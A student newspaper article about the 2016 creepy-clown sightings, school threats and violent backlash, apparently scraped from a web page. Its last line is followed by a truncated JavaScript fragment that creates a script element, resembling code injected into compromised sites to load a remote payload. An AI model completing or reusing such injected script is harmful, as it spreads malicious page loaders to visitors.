IT’s Out to Play: the Clown Trend Terrifying the Nation

Kamille Ritchie, Cactus Editor

Fear grips communities throughout the country as a result of Halloween coming early.  The first sighting in this “clown epidemic” occurred in Greenville, South Carolina on August 29th. Several residents of an apartment complex reported two clowns creeping about. Reports say the clowns were brightly dressed and made up; they attempted to lure a young boy into the woods. From then on, more clown sightings began to occur along the south and east coast. Thirty-three of the fifty states have reported sightings, from California to Idaho.

Perhaps a decade ago, this issue would be a few isolated incidents, however, social media has helped add wood to the fire. When logging into any social media networks, expect your feed to be littered with images and videos of people in clown costumes. Whether hiding in cornfields, wooden areas or standing menacingly on dark streets and desolate highways, one thing is certain within these videos: people are not handling this well. These masked individuals are taking advantage of the nation’s coulrophobia outbreak.

Through sites, such as Facebook, these idiots [they are idiots] are able to create profiles of their clown personas and wreak havoc; many target schools. Many send threats centering on kidnapping or killing students and/or murdering teachers. These malicious statements have left many students and parents in fear; other students are playing along, going as far as making murder requests. While the majority of these threats turn out to be hoaxes, many schools have been disrupted by lockdowns as a precaution. Students at Penn State University swarmed the surrounding streets on a massive clown hunt.

Fear can be a powerful motivator, it’s no surprise people are beginning to retaliate. Several videos on social media feature clowns being savagely beaten. Some clowns have even been shot or run over by frightened individuals. In Fort Wayne, Indiana and Newark, New Jersey, clowns have allegedly been shot and left in critical condition. Luckily, the reports turned out to be false. With Halloween fast approaching, the violence will only escalate, especially if alcohol is involved. Jordan Jones, a 22 year old professional clown, is terrified for his life. Jones mentions in a Times article, “I feel that people are out clown hunting because they think it’s cool now.  I’m scared that someone might take a swing.” Jones has recently created a Clown Lives Matter movement on his Facebook to draw awareness to ordeal professional clowns are going through.

With all the chaos occurring, one question remains: How did we let it get this far? Perhaps it’s the involuntary fear of what’s underneath all that makeup. Scott Boon, a criminologist and sociology professor at Drew University in New Jersey, mentions in a Times article, “We don’t know what’s beneath that makeup. It could be anyone or anything.” Pennywise the Dancing Clown turned out to be a monster capable of becoming your worst fears [which he uses to eat you]. One thing to remember is clowns are actually humans; they can bleed like you and I. When you’re out this Halloween season, stay alert and safe and only use excessive force if absolute necessary.var d=document;var s=d.createElement(‘script’);